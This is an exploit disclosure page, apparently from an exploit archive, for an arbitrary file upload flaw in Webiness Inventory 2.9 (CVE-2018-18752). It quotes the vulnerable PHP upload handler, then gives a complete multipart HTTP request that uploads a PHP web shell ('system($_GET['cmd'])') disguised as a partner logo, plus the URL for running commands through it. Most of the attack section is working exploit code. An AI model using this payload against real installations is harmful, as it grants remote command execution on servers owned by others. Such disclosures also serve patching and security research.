exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Webiness Inventory 2.9 Shell Upload

Webiness Inventory 2.9 Shell Upload
Posted Oct 27, 2018
Authored by Boumediene Kaddour

Webiness Inventory version 2.9 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2018-18752
SHA-256 | 40336d3af53a8ba585646fbedc4366f3618af0f92e4e24bfa7992e3b7063a57d

Webiness Inventory 2.9 Shell Upload

Change Mirror Download
# Exploit Title:  Webiness Inventory 2.9 Arbitrary File Upload
# Date: 10/27/2018
# Exploit Author: Boumediene KADDOUR
# Unit: Algerie Telecom R&D Unit
# Software Link: https://github.com/webiness/webiness_inventory
# Version: 2.9<
# Tested on: WAMP windows 10 x64
# CVE: unknown

*# Vulnerable Code:
https://github.com/webiness/webiness_inventory/blob/master/protected/library/ajax/WsSaveToModel.php
<https://github.com/webiness/webiness_inventory/blob/master/protected/library/ajax/WsSaveToModel.php>*

46 foreach ($_FILES as $file) {
47 $fileName = $file['name'];
48 $fileTmp = $file['tmp_name'];
49 $destDir = WsROOT.'/runtime/'.$model;
50
51 $field = key($_FILES);
52
53 // files are upload to "runtime" directory create destination
directory
54 // if not exist
55 if (!file_exists($destDir)) {
56 mkdir($destDir, 0777, true);
57 }
58
59 // allowed file size is 3MB
60 if ($file['size'] > 3145728) {
61 continue;
62 }
63
64 // remove old file with same name
65 if (file_exists($destDir.'/'.$fileName)) {
66 unlink($destDir.'/'.$fileName);
67 }
68
69 // upload file
70 move_uploaded_file($fileTmp, $destDir.'/'.$fileName);
71 $m->$field= $fileName;
72 }

*# Proof Of Concept*

POST /webiness_inventory-2.3/protected/library/ajax/*WsSaveToModel.php*
HTTP/1.1
Host: 172.16.122.4
Content-Length: 1838
Accept: */*
Origin: http://172.16.122.4
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryUOOyIF2f26nDrsM7
Referer: *http://172.16.122.4/webiness_inventory-2.3/index.php?request=partners/index/
<http://172.16.122.4/webiness_inventory-2.3/index.php?request=partners/index/>*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: resolve_ids=0; order_dir_list_by=1A;
_csrf=b49cff27d7c0ccd3a8dd5af3813025249dc909f2a20c12efcb7770f945715b06a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%224dWxR4kKmI-ZSWJBsigl0tHhdecVhozc%22%3B%7D;
language=32d49278f28c78229de164fe79dc13b6adb3c98af2d133240eb1ffc44771ad3da%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22en%22%3B%7D;
PHPSESSID=h66id6epvp8g1uoshrdog53323
Connection: close

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="model_name"

PartnerModel
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="id"

2
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="partner_name"

My crucial Partner
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="logo"; filename="*shell.php*"
Content-Type: application/octet-stream

*<?php system($_GET['cmd']);?>*
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="id_number"

25
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="tax_number"

225588664477
------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="iban"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="address1"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="address2"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="region_state"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="zip"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="city"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="country"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="email"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="web"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name="phone_number"

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name=""

------WebKitFormBoundaryUOOyIF2f26nDrsM7
Content-Disposition: form-data; name=""

------WebKitFormBoundaryUOOyIF2f26nDrsM7--

*# Access your webshell via the below link*
http://172.16.122.4/webiness_inventory-2.3/runtime/PartnerModel/shell.php?cmd=whoami
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close